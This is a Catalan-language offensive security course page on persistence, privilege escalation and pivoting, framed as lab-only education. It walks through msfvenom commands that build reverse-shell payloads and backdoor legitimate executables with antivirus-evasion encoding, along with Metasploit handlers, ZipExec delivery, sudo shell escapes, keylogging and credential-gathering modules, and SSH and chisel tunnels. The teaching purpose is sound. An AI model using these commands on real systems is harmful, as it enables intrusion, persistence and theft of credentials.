Persistència, escalada i pivotatge
Totes les pràctiques d'este curs es realitzaran baix:
- ⚖️ Un marc legal i ètic
- 🔒 Entorn aïllat
- 🧪 Controlat
- 📜 Amb permís
- 🎓 Fins educatius / professionals
Tècniques persistència
Les tècniques de persistència fan referència als mètodes que un atacant utilitza per mantenir l’accés a un sistema durant el temps, fins i tot després de reinicis, canvis de credencials o intents de neteja. Tot açò, sense tindre que realitzar tot el procés d'explotació inicial cada vegada.
Eines C&C (C2)
MITRE defineix les accions de comanda i control (C2), com a tècniques per a comunicar-se amb els sistemes abans compromesos i evitar ser detectats.
Recordem MITRE i Ciber Kill Chain i en wikipedia
- Utilitzar protocols de comunicació habituals
- Utilitzar / infectar mitjans extraibles
- Emprar encriptació i ofuscació
Les ferramentes de C2 (Command & Control) són plataformes que permeten a un operador controlar màquines compromeses de forma centralitzada. S’utilitzen en red teaming, pentesting i també en malware real.
Alguns frameworks C2 ..
- Cobalt Strike (W)
- Covenant (W)
- Empire (W, powershell)
- Havoc (W)
- ibombshell (Linux)
- Sliver (multi)
- Mythic (multi)
- Villain (framework de gestió de sessions)
- i més .....
- Components habituals d'una plataforma C2
- Servidor C2
- stager (payload molt xicotet)
- agents (beacon, implant)
- listeners
- payloads
- Flux complet d’un atac amb C2
- Crear payload (amb stager)
- Fer arribar el payload a la víctima i executar-lo
- Stager connecta a C2 i descarrega el agent complet
- agent comença el beaconing
- Operador envia el tasking
- agent executa ordres rebudes i envia resultats
- Avantatges de C2
- Control centralitzat de múltiples víctimes
- Automatització de tasques
- Comunicació encoberta (amb diversos protocols estandards, http, https, dns, icmp, smb, ...)
- Gestió de sessions
- RCE . Execució remota de comandes
- Moviment lateral, pivoting
- Persistència integrada
- Exfiltració de dades
- Gestiló d'equips
- Inconvenients de C2
- Com són conegudes, són més fàcil de detectar
- Infraestructura més complexa
- Possible rastreig del servidor C2
- Consum de recursos en els agents i risc de detecció
Mòduls de postexplotació de Metasploit
- Recopilació d'informació local
- post/multi/recon/local_exploit_suggester
- post/multi/gather/env
- post/multi/gather/firefox_creds
- post/multi/gather/ssh_creds
- post/multi/gather/checkvm
- post/windows/gather/credentials/credential_collector
- post/windows/gather/enum_applications
- post/windows/gather/enum_shares
- Manteniment de l'accés
- Amb meterpreter
- exploit/windows/local/persistence
- keyscan_start
- keyscan_dump
- exploit/multi/handler + payload
- Escalada de privilegis
- getsystem de Meterpreter
- exploit/[windows|linux]/local
- Pivotage en la xarxa
- autoroute
- portfwd
Formes de mantindre la persistència en Linux
- 1️⃣ cron normal
- 2️⃣ cron ocult (/etc/cron.d)
- 3️⃣ SSH keys
- 4️⃣ .bashrc
- 5️⃣ systemd service
- 6️⃣ systemd timer
Formes de mantindre la persistència en Windows
- 1️⃣ Registry Run Keys
- 2️⃣ Startup Folder
- 3️⃣ Scheduled Tasks
- 4️⃣ Windows Services
- 5️⃣ Crear usuari amb perfil d'administrador
- i més .....
CRON
Què és cron
cron és el sistema de planificació de tasques en sistemes Unix/Linux. Permet executar ordres o scripts
automàticament en moments determinats. És molt utilitzat en administració de sistemes.
El servei que gestiona això és Cron, que funciona com un daemon (procés que s’executa en segon pla).
Com funciona cron
El procés cron està sempre executant-se en segon pla i fa aquest cicle: 1️⃣ Llegeix les configuracions de tasques programades 2️⃣ Comprova cada minut si alguna tasca s’ha d’executar 3️⃣ Si coincideix el temps → executa la comanda És a dir, cron revisa el temps cada minut
On es defineixen les tasques que executarà cron
segons...cron d'usuari o cron de sistema
Cron de l’usuari: Cada usuari pot tenir el seu propi cron.
# es modificarà amb la comanda: crontab -eAquest fitxer es guarda internament a:
/var/spool/cron/crontabs
Nota: El cron d’un usuari s’executa encara que l’usuari no faça login, sempre que el servei Cron estiga actiu en el sistema Linux.
Cron del sistema: També hi ha cron globals:
/etc/crontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
Format d’una línia de cron (d'usuari)
Cada tasca té 5 camps de temps + la comanda.
* * * * * comanda │ │ │ │ │ │ │ │ │ └── dia setmana │ │ │ └──── mes │ │ └────── dia mes │ └──────── hora └────────── minut
Existeix un cron especial anomenat @reboot que executa una tasca quan el sistema arranca. Exemple:
@reboot /home/user/script.sh
Format d’una línia de cron (de sistema)
En els fitxers dels directoris: /etc/crontab, /etc/cron.d/, /etc/cron.hourly/
Cada tasca té 5 camps de temps + usuari + la comanda.
* * * * * usuari comanda
Exemples de configuracions
*/5 * * * * /usr/bin/backup.sh └──── Significa: executar cada 5 minuts
0 2 * * * /usr/bin/backup.sh └──── Significa: executar cada dia a les 02:00
0 9 * * 1
└──── Significa: cada dilluns a les 09:00
Veure cronjobs (d'usuari)
crontab -l
Editar cronjobs (d'usuari)
crontab -e
Eliminar (d'usuari)
crontab -r
==> Els cronjobs de sistema s'han d'editar a ma...
Comprovar que cron funciona
systemctl status cron
Logs de cron
/var/log/syslog
Coses a tindre en compte quan es programa cron
cron necessita el path complet en la linea
* * * * * python script.py ==> falla: Cron pot no trobar python. Solució * * * * * /usr/bin/python /home/user/script.py
- Els scipts necessiten permís d'execució
- No pot haver salts de linea en una ordre del fitxer
- Dins dels scripts també s'han de posar les rutes completes
Creació de malware
Per obtindre accés a una màquina i mantindre la persistència en ella s'empren diverses tècniques. Una de les més habituals és la instal·lació de backdoors o portes darreres. Per a este fi, es crea un malware ad-hoc, per intentar evadir els antivirus en la màquina víctima.
La creació de malware és una tasca difícil. Es pot aprofundir en el tema en el repositori Awesome Malware Developement, en GitHub de rootkit-io
msfvenom
Forma part del framework de metasploit, però funciona de manera independent. S'empra per generar payloads, xifrar-los, codificar/ofuscar, i acoblar el payload a un binari legítim.
Per generar un malware hi ha diferents elements a tindre en compte: payloads, Encoders, nops, platforms, archs, encrypt i formats. Es pot consultar una llista de cada mòdul amb l'opció -l o --list
$ msfvenom -l [payloads | Encoders | nops | platforms | archs | encrypt | formats]
Primer exemple msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows lhost=192.168.56.8 lport=4444 -f exe > payload_sin_encriptar.exe
El payload escollit pot tindre una gran quantitat d'opcions, i per consultar-les s'usa l'opció --list-options
msfvenom -p windows/meterpreter/reverse_tcp --list-options
El següent pas és fer arribar el binari a la víctima, obrir un listener en l'equip atacant, i esperar que l'usuari caiga en la trampa..
Es pot posar el listener en metasploit amb el mòdul exploit/multi/handler i el mateix payload que s'ha carregat en el binari.
msf> use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.56.8 set lport 4444 run
Quan l'usuari execute el binari, el metasploit obri un meterpreter...
És possible que el defender de windows detecte i bloquege el binari, per tant, per fer proves, s'haurà de desactivar el defender en la màquina windows.
Es poden usar diferents encoders en el nostre payload per tractar d'evitar les posibles proteccions en les màquines víctimes. Els encoders s'indicaran amb l'opció -e en msfvenom
-e x86/shikata_ga_nai -i 5
En lloc de generar el nostre propi binari, es pot fer servir msfvenom per incrustar el nostre payload en un programa legítim. Amb l'opció -x o --template, s'indicarà la ruta a l'executable que es desitja usar com plantilla. Amb l'opció -k o --keep, es manté el comportament del binari legítim i el payload es llançarà com un nou fil d'execució.
# Exemple # Primer s'ha de baixar l'executable des de la pàgina oficial.... # Després es backdooritza !! msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.56.8 lport=4444 -x notepad++.exe -k -f exe -a x86 --platform windows -e x86/shikata_ga_nai -i 5 -o evil-putty.exe # També es pot ometre "-a x86 --platform windows " i que msfvenom busque msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.56.8 lport=4444 -x notepad++.exe -k -f exe -e x86/shikata_ga_nai -i 5 -o evil-putty.exe
En este cas hem usat un payload de tipus single, cosa que permetrà manejar la connexió mitjançant un listener de netcat
nc -lnvp 4444
ZipExec
Desenvolupat com a PoC de que és possible executar binaris emmagatzemats en fitxers ZIP comprimits amb contrasenya, evitant així els antivirus, que no poden comprovar el contingut del fitxer
Per usar la ferramenta: Primer la compilem.
git clone https://github.com/Tylous/ZipExec.git cd ZipExec go get github.com/yeka/zip go build ZipExec.go ./ZipExec -h Ja tenim la ferramenta en el notre sistema.
Ara a usar-la. El fitxer maliciós generat és un fitxer JavaScript que conté el binari comprimit i les comandes per regenerar este fitxer en disc i executar-lo
./ZipExec -I payload_sin_encriptar.exe -O shell-loader.js
Enviem el fitxer .js a la víctima i obrim un multi/handler en msf esperant que l'usuari pique..
msf> exploit(multi/handler) > run
Escalada privilegis en Linux
Existeixen molts mecanismes per a escalar privilegis en sistemes Linux. Alguns d'estos, els més bàsics, es voran en este apartat, com per exemple, l'escalada de privilegis a través de vulnerabilitats en el kernel de linux, a través de tasques programades, usant binaris amb privilegis de sudo o binaris SUID.
Però abans d'emprar algun d'estos mecanismes, és necessari conéixer els diferents comandos i scripts per fer una enumeració local i trobar el millor camí fins a una shell privilegiada.
Per practicar estos conceptes i altres més avançats, poden usar-se alguns dels laboratoris gratuits d'escalada de privilegis en Linux disponibles en TryHackMe, i entre estos, un elaborat per TCM (The Cyber Mentor), que inclou vídeos explicatius en youtube. (The Cyber Mentor. Linux privilege Escalation for Beginners) . Laboratoris en https://TryHackMe.com/room/linuxprivesc linprivesc linuxprivescarena
Enumeració local en Linux
L'enumeració local consistix en obtenir la quantitat més gran d'informació del sistema per tractar de trobar elements vulnerables, que permeten escalar privilegis a un compte amb permisos d'administració.
Enumeració Manual
hostname uname -a ifconfig o ip a netstat -tpln /etc/hosts i sites-available /proc ps -ef --forest crontab -l i /etc/crontab /var/www --on es situa les app Web wp-config.php /etc/passwd -- per saber usuaris i Grups /home -- altres usuaris id history env sudo -l find / -type f -perm 0777 2>/dev/null find / -type f -name ".*" find / -type f -readable find / -type d -readable find / -type f -writable find / -type d -writable find / -perm a=x find / -type f -perm -u=s find / -type f -perm -g=s
Enumeració automàtica
Existeixen multitud de ferramentes que realitzen l'execucio dels comandes anteriors ( i molts altres) de manera automàtica, i ens presenten una gran quantitat d'informació.
LinPEAS (WinPEAS )
Un script en bash que es manté actualitzat casi setmanalment. És la ferramenta més usada actualment. Té una versió per a Windows (WinPEAS), i formen part d'una suite anomenada PEASS-ng (Privilege Escalation Awesome Scripts Suite new generation)
Linux Smart Enumeration - LinEnum
Una altra ferramenta en bash basada en l'anterior, que actualment no es troba mantenida.
Linux Exploit Suggester
Ferramenta específica per buscar exploits per la versió del kernel que s'està executant en el SO.
pspy
unprivileged Linux process snooping. Permet vore en els processos del sistema sense tindre privilegis de root.
Normalment, per veure tots els processos del sistema necessitaries ser administrador, però pspy ho fa d'una manera alternativa.
En lloc d'usar APIs privilegiades, pspy llegeix directament el sistema de fitxers /proc de Linux, que conté informació sobre tots els
processos en execució. Ho fa de forma contínua i ràpida per capturar fins i tot processos de molt curta durada.
Permet detectar tasques programades (crons) que s'executen com a root, de vegades els processos s'executen amb contrasenyes o tokens com a arguments a la línia de comandes, i pspy els captura. pspy pot veeure quins processos s'executen periòdicament sense haver d'accedir a /etc/cron* directament
Pspy és un projecte de codi obert allotjat a GitHub. El pots trobar aquí: https://github.com/DominicBreuker/pspy
Per fer servir pspy el flux habitual és baixar-lo primer a la teva màquina atacant i després transferir-lo a la màquina víctima.
Després donar-li permisos d'execució (a la màquina víctima) i executar-lo
Una forma ràpida de transferir-lo a la víctima és muntar un servidor HTTP des de la teva màquina amb
# A la teva màquina atacant python3 -m http.server 8080 # A la màquina víctima wget http://LA_TEVA_IP:8080/pspy64
Escalada amb el kernel
- Algunes vulnerabilitats històriques del kernel de Linux
- Dirty COW (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- Sudo Baron Samedit (CVE-2021-3156)
- OverlayFS (CVE-2021-3493)
- PwnKit (CVE-2021-4034)
- CVE-2022-47939 sobre servei ksmbd (servidor samba)
- i més....
No s'ha de perdre de vista este tipus de vulnerabilitats de kernel, perquè molts sistemes no estan actualitzats i poden tindre forats de seguretat oberts
Escalada amb sudo
Que és sudo
sudo (superuser do) és una eina que permet a usuaris normals executar comandes amb privilegis elevats (normalment com a root), de manera controlada i auditada.
És el mètode recomanat per a administració segura a Linux.
El fitxer sudoers defineix: Qui pot usar sudo, Quines comandes , Com (amb o sense contrasenya), Com a quin usuari
📍 Ubicació habitual: /etc/sudoers
⚠️ No s’ha d’editar mai directament amb editors normals.
visudo és l’eina segura per editar el fitxer sudoers.
Es pot ampliar informació en l'article "Linux Fundamentals: A to Z of a Sudoers File" en https://medium.com/kernel-space/linux-fundamentals-a-to-z-of-a-sudoers-file-a5da99a30e7f
-- Per afegir un usuari al grupo de sudoers (sudo)
sudo usermod -aG sudo 'nomusuari'
Exemple de linea de sudoers
usuari_o_grup hosts = (usuari_execució:grup_execució) opcions comandes alice ALL=(ALL) ALL
Què vol dir?
alice → l’usuari
ALL → des de qualsevol host
(ALL) → pot executar com a qualsevol usuari (normalment root) . (root:root) especificant usuario i grup
ALL → pot executar qualsevol comanda , o posar una comanda concreta
usuari alice o grup %admin
Com saber quins binaris estan autoritzats
sudo -l
i a continuació , si hi ha algun comando permés, buscar la forma de explotar-lo, en GTFOBINS, per a linux
Per executar un comando amb un altre usuari
sudo -u nomusu nomcomando
La web GTFOBins conté un llistat dels binaris presents en sistemes operatius *nix que poden ser usats per a escalar privilegis en cas que s'hagen configurat erròniament.
Per exemple: vi
sudo vi -c ':!/bin/sh' /dev/null
sudo vim -c ':!/bin/sh'
Escalada amb SUID/SGID
El bit SUID Set-User-ID és un mecanisme de permisos de Linux/Unix que permet que un programa s’execute amb els privilegis del propietari del fitxer, i no amb els de l’usuari que l’executa.
Com identificar-lo
-rwsr-xr-x
# Exemple ls -la /usr/bin/passwd -rwsr-xr-x 1 root root 64152 may 30 2024 /usr/bin/passwd
Com assignar el bit SUID chmod u+s /path_to_binary
🧮 Valor numèric del Bit SUID: 4000
Com trobar fitxers amb este bit
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2>/dev/null
find / -type f -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
find / -perm -4000 -exec ls -l {} \; 2>/dev/null
El bit SGID Set Group ID és un permís especial de Linux/Unix que fa que un fitxer o directori herete el grup, en lloc d’utilitzar el grup de l’usuari que l’executa o crea fitxers. És molt semblant al setuid, però actua sobre el grup.
El SGID pot aplicar-se a: 1. Fitxers executables 2. Directoris. I el seu comportament canvia segons el cas.
SGID en fitxers executables
Quan un executable té SGID activat: El programa s’executa amb els privilegis del grup propietari
SGID en directoris (ús molt habitual)
Quan un directori té SGID: Tots els fitxers creats dins hereten el grup del directori
Com identificar-lo
-rwxr-sr-x
Com assignar el bit SGID
chmod g+s /path_to_binary
chmod g+s /path_to_directory
# Exemple ls -la /usr/bin/crontab -rwxr-sr-x 1 root crontab 39664 mar 31 2024 /usr/bin/crontab
🧮 Valor numèric del Bit SGID: 2000
Com trobar fitxers amb este bit
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 2>/dev/null
find / -type f -perm -2000 2>/dev/null
find / -user root -perm -2000 2>/dev/null
find / -perm -2000 -exec ls -l {} \; 2>/dev/null
🧷 El Sticky Bit és un permís especial de Linux/Unix que s’utilitza principalment en directoris per evitar que els usuaris esborren o modifiquen fitxers que no són seus, encara que tinguin permisos d’escriptura al directori. És un mecanisme clau de seguretat multiusuari.
Quan el Sticky Bit està activat en un directori: Només poden esborrar o renombrar un fitxer: 1. el propietari del fitxer 2. el propietari del directori 3. o root
Com identificar-lo
drwxrwxrwt
🧮 Valor numèric del Sticky Bit: 1000
Com trobar fitxers amb este bit
find / -perm -1000 2>/dev/null
find / -type d -perm /1000 2>/dev/null
# Exemple
ls -ld /var/tmp
drwxrwxrwt 11 root root 4096 mar 6 15:25 /var/tmp
Escalada
Conieixent este mecanisme es podrà fer una escalada de privilegis local a través d'estos binaris, de forma similar a la explicada en sudo.
La web GTFOBins també té informació sobre com utilitzar els binaris mal configurats.
Escalada amb tasques programades
Les tasques programades amb cron permeten executar comandes o scripts automàticament a Linux/Unix segons un horari definit. És una eina fonamental d’administració de sistemes, però també rellevant en seguretat i auditoria.
⏰ Què és cron?
cron és un dimoni del sistema que: S’executa en segon pla, Llegeix fitxers de configuració (crontabs), Llança tasques a hores, dates o intervals concrets: 👉 Ideal per a backups, manteniment, monitoratge i automatització.
📄 Què és un crontab?
Un crontab és un fitxer que conté les tasques programades. Cada usuari pot tenir el seu propi crontab, i també n’hi ha de sistema.
Crontab d'usuari
S'edita amb crontab -e
Crontab de sistema
Ubicacions habituals: /etc/crontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
Alguns problemes comuns que permeteixen l'explotació:
- Permisos d'escriptura en l'scrip
- Variable d'entorn PATH Si el PATH conté la ruta al
- Ús de comodins o "wildcards"
home, primer que la ruta dels binaris, es podrà colocar en home un script maliciós
amb el mateix nom del comando que s'execute en la tasca programada
Escalada amb serveis
Si s'identifica un servei (com per exemple MySql) executant-se com a root, es podrien crear
comandes des de dins de MySql, llançar-les, i estes seran executades amb permisos de root
HackTricks és una guia online de ciberseguretat ofensiva molt coneguda en el món del pentesting. El lloc HackTricks i en la secció corresponent a serveis és bàsicament un manual estructurat tipus “cheat-sheet + explicació” amb tècniques, exemples i notes pràctiques.
Escalada amb NFS (Network File System)
NFS permet compartir directoris entre sistemes Unix/Linux a través de la xarxa, de manera que un client pot muntar un directori remot com si fos local. És molt útil, però perillós si està mal configurat.
⚠️ Per què NFS pot provocar escalada de privilegis?
NFS confia en els UID i GID del sistema client. Això vol dir que: Si el client diu “sóc root”, el servidor pot creure-s’ho si no s’apliquen restriccions adequades. Aquí és on apareix el risc.
Què s’avalua en una auditoria o pentest ?
- Quins directoris s’exporten
- Qui hi pot accedir
- Si existeixen restriccions d’usuari
- Si els directoris són utilitzats pel sistema
- Si hi ha controls addicionals
🛡️ Bones pràctiques de seguretat amb NFS
- Activar sempre root squashing
- Exportar només el necessari
- Limitar per IP o xarxa
- Evitar exportar directoris crítics
- Usar permisos estrictes
- Monitorar l’ús del servei
- Considerar alternatives més segures si cal
Escalada de privilegis en Windows
Enumeració local
Manualment es torna prou complicat, però hi ha moltes eines que faciliten el procés.
- WinPEAS
- JAWS
- SeatBelt
- SharpUP
- Metasploit Local Exploit Suggester
- Windows Exploit Suggester - Next Generation
Existeix també una pàgina similar a GTFOBins, però per a sistems Windows, anomenada LOLBAS.
Escalada amb el kernel
Hi ha molts exploits per al kernel de windows, molts dels quals es poden practicar en la màquina Metasploitable3, que es la versió Windows de Metasploitable.
Una de les vulnerabilitats més greus és la HiveNightmare o SeriusSAM (CVE-2021-36934) que permet llegir les claus de windows sense privilegis
Algunes ferramentes automatitzen el procés de bypass UAC
- UACMe
- UAC-a-mola
Escalada amb serveis
Es poden aprofitar serveis mal configurats que corren en permisos de SYSTEM per escalar privilegis
Principals problemes
- Permisos insegurs
- DLL Hijacking
- Path de servei sense cometes
- Permisos dèbils en registres
- Serveis executables insegurs
Uns dels serveis de windows on s'han trobat vulnerabilitats greus és el Print Spooler
- PrintNighMare
- SpoolFool
- Potato Attacks
Escalada amb registres
Si la politica de seguretat AllwaysInstallElevated esta habilitada, qualsevol paquet .MSI s'executarà amb
privilegis administratius
També s'ha de posar especial atenció als programes que s'executen en l'autoarranc, (autorun), que també s'executen amb privilegis administratius
Escalada amb tasques programades
Esta via d'escalat és similar a la explicada en entorns Linux
Servei Task Scheduler
Comando: schtasks, obte llista de les tasques programades
En Power Shell està Get-ScheduledTask
Tècniques de pivotatge
El pivotatge (pivoting) és una tècnica utilitzada quan: Ja tens accés a un sistema dins d’una xarxa, però vols arribar a altres sistemes que no són accessibles directament.
Aquest primer sistema compromès actua com a: pont o salt intermedi o pivot
📌 El pivotatge no és l’atac inicial, és post-explotació.
amb tunels SSH
Es crea un canal de comunicació encapsulat a través del sistema pivot.
El trànsit “viatja dins” d’un altre protocol, Permet evitar restriccions de xarxa, Molt comú en xarxes corporatives
Local Port Forwarding
El local port forwarding permet: Obrir un port a la teva màquina local que redirigeix el trànsit a un servei remot, a través d’un servidor intermedi (pivot).
És molt útil quan: Un servei no és accessible directament, però sí que és accessible des del servidor pivot
- Escenari d’exemple
- (atacant / administrador): 127.0.0.1
- Servidor pivot: pivot.company.local
- Servei intern: Base de dades a 10.0.0.50:3306
- El servei només és accessible des del pivot
Exemple de local port Forwarding ssh -L 13306:10.0.0.50:3306 user@pivot.company.local
- -L : Indica local port forwarding
- 13306 : Port local que s’obrirà a la teva màquina (tu et connectaràs a aquest port)
- 10.0.0.50:3306 : Destí final intern ( IP interna, Port del servei (ex. MySQL))
- user@pivot.company.local : Servidor intermedi (pivot) . És qui té accés a la xarxa interna
Remote Port Forwarding
El remote port forwarding permet: Obrir un port en el servidor remot que redirigeix el trànsit cap a un servei accessible des de la teva màquina local (o una altra màquina). És l’opció inversa del local port forwarding.
- Escenari d’exemple
- La teva màquina local: té un servei web a 127.0.0.1:8080
- Servidor remot: pivot.company.local
- El servidor remot no pot accedir directament al teu servei local
- Objectiu: exposar el teu servei local a través del servidor remot
Exemple de remote port Forwarding ssh -R 9000:127.0.0.1:8080 user@pivot.company.local
- -R : Indica remote port forwarding
- 9000 : Port que s’obrirà al servidor remot
- 127.0.0.1:8080 : Destí local (127.0.0.1 → la teva màquina ) (8080 → el servei que ja està escoltant localment)
- user@pivot.company.local : Servidor remot on es crea el port
👉 Qualsevol que accedisca a pivot.company.local:9000 , estarà accedint indirectament al teu servei local.
amb chisel
En la màquina kali es pot llançar en mode servidor
chisel server -p 9000 --reverse
En la màquina client
chisel client 10.0.1.7:9000 R:8000:127.0.0.1:8000
